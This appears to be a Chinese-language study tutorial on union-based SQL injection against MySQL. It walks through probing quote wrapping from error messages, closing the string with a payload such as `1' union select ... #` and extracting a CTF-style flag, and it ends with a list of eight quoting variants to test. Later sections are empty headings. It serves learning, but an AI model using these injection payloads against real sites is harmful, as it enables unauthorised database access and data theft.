(全文以MySQL为例)

一.联合注入

1. 简单原理

在sql的查询语句中,union,是一个极度危险的函数。
其会将后面的语句作为sql命令执行,拼接到前面正常的结果集后。
例子:

1
2
3
4
5
6
7
8
9
10
11
select * from usr union select 1,2;

+------+-------+
| id | name |
+------+-------+
| 1 | admin |
| 2 | text1 |
| 3 | lisi |
| 4 | gest |
| 1 | 2 |
+------+-------+

1,2表头被拼接起来(这里的1,2实际上不存在)
那么加上恶意的查询

1
2
3
4
5
6
7
8
9
10
11
select * from usr union select * from home;

+------+---------------------+
| id | name |
+------+---------------------+
| 1 | admin |
| 2 | text1 |
| 3 | lisi |
| 4 | gest |
| 1 | flag{ye is watch u} |
+------+---------------------+

很明显,命令被执行了。
当然这只是理想情况,在实际的开发环境中我们几乎不可能知道这个表有几行几列,这个表叫什么,查询语句的格式等等……

而正因为如此,其为我们进行漏洞注入提供了思路。

2. 联合注入的步骤

  1. 判断数据类型
  2. 查列数
  3. 却定字段的位置
  4. 查表名
  5. 查列名
  6. 获取数据

先根据以下语句的变化进行一个简单的理解:

1
2
3
4
5
6
7
select * from users where id=$id
-- 一般情况下,查询语句的where条件里对于列或表的表述的参数都是变量,一般是接受用户的get或post请求

-- 而对于该变量的格式又有多种:
id="$id"
id=("$id")
id='1'

我们拿id=’1’来举例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
select * from users where id='1';
-- 1是客户端post传值给ssqqll的值
-- 如果: ssqqll = 1 union select 1,2 from home;
select * from users where id='1 union select 1,2 from home;';
-- 由于php弱比较,会先将不同类型的给是转化成相同,像此处,php会将字符串逐一遍历来得到数字,得到1,所以注入失效了。


-- 但是要是我传参 ssqqll = 1' union select 1,2 from home;#(这里的#要url编码为%23,否则则会表示特殊锚点)
select * from users where id='1' union select 1,2 from home;#';

+------+---------------------+
| id | name |
+------+---------------------+
| 1 | admin |
| 2 | text1 |
| 3 | lisi |
| 4 | gest |
| 1 | flag{ye is watch u} |
+------+---------------------+

最后,前方的‘1’闭合完成语句,后方把不符合语法的多余部分注释掉,完成联合注入

ok,我们回到正题,首先第一步:

判断数据类型,其实就是通过测试包错来试出他的包裹结构

还记得上面的例子吗,包裹一共最基本也就4种形态
不外乎(1), ‘1’ ,”1” ,1 。

当然这些都是可以相互嵌套的,能整出很多花样

一个例子,抑或是一个思路

1
2
3
4
5
6
7
8
-- 当我们传参?id=1时,有
MYSql Test
ID Username
1 admin

-- ?id=1'
无法取得数据: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

好,重点来了,根据报错信息,是出现了’1’’,所以断定为’1’包裹。

当然,有的情况是报错不会给出这么详细或是干脆没有报错。并不碍事,照着刚才的思路,先根据四种基本包裹一步一步慢慢排除

这里给一个模板,以后做手注盘判断时可以直接拿来用

  1. select * from users where id= 1
  2. select * from users where id=’1’
  3. select * from users where id=(‘1’)
  4. select * from users where id=”‘1’”
  5. select * from users where id=(1)
  6. select * from users where id=((‘1’))
  7. select * from users where id=(“‘1’”)
  8. select * from users where id=”1”

慢慢试,排除哪个就注释哪个(后面我们学到sqlmap时就不用这么麻烦了,这么做更多的是锻炼思维)

二.

1.

2.

3.

三.

1.

2.

3.

四.

1.

2.

3.

五.

1.

2.

3.